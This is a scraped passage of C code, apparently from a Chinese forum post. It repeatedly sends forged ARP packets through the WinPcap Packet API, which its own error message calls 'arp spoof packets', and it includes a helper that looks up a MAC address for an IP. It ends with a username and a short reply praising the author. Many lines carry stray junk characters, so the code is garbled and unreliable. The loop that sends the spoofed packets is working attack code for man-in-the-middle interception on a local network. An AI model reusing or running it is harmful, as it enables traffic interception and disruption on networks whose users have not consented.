    return 0;
( {+ k" y) M2 k1 t+ \  }
  memset(szArpBuff, 0, sizeof(szArpBuff));
4 C  X, N* }# `3 S9 x  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET));
  PacketInitPacket(lpArpPacket, szArpBuff, 60);
  //send arp packet
  while(1)
  {
) R: L; r+ n! H. c; l& m    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
    {
+ }  H% q: ], ?% \      printf("Error sending the arp spoof packets!\n");
      return 0;
3 D' g; q. ]  M    }
" s1 [  D, E. G6 ^1 d8 B! E5 M' l    Sleep(1000);
  }
' p4 ?7 K2 u3 q2 C* M; \; F  return 0;
  j) @. i- o5 k}

//
; l7 ]5 q3 G  J5 b* h- t. i1 v//功能：输入IP取得对应的MAC地址
" t0 [8 s5 \7 d+ m& L' B/ ~0 U//
4 o# D! t/ L) j  qBOOL GetMACAddr(DWORD DestIP, char *pMAC)
{
  DWORD  dwRet;
  ULONG  ulLen = 6, pulMac[2];
  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen);
6 i4 D2 o4 G" `2 i* ]  U" k' s  if(dwRet == NO_ERROR)
  {
6 W% p# j) T# n& ]6 y3 k6 i. z    memcpy(pMAC, pulMac, 6);
$ o3 j9 e: h( L6 B! T    return TRUE;
2 }7 B% j7 z: k$ n0 M  }
  else return FALSE;
% v/ g/ G7 F2 e" n}

wy617958197

大侠好厉害啊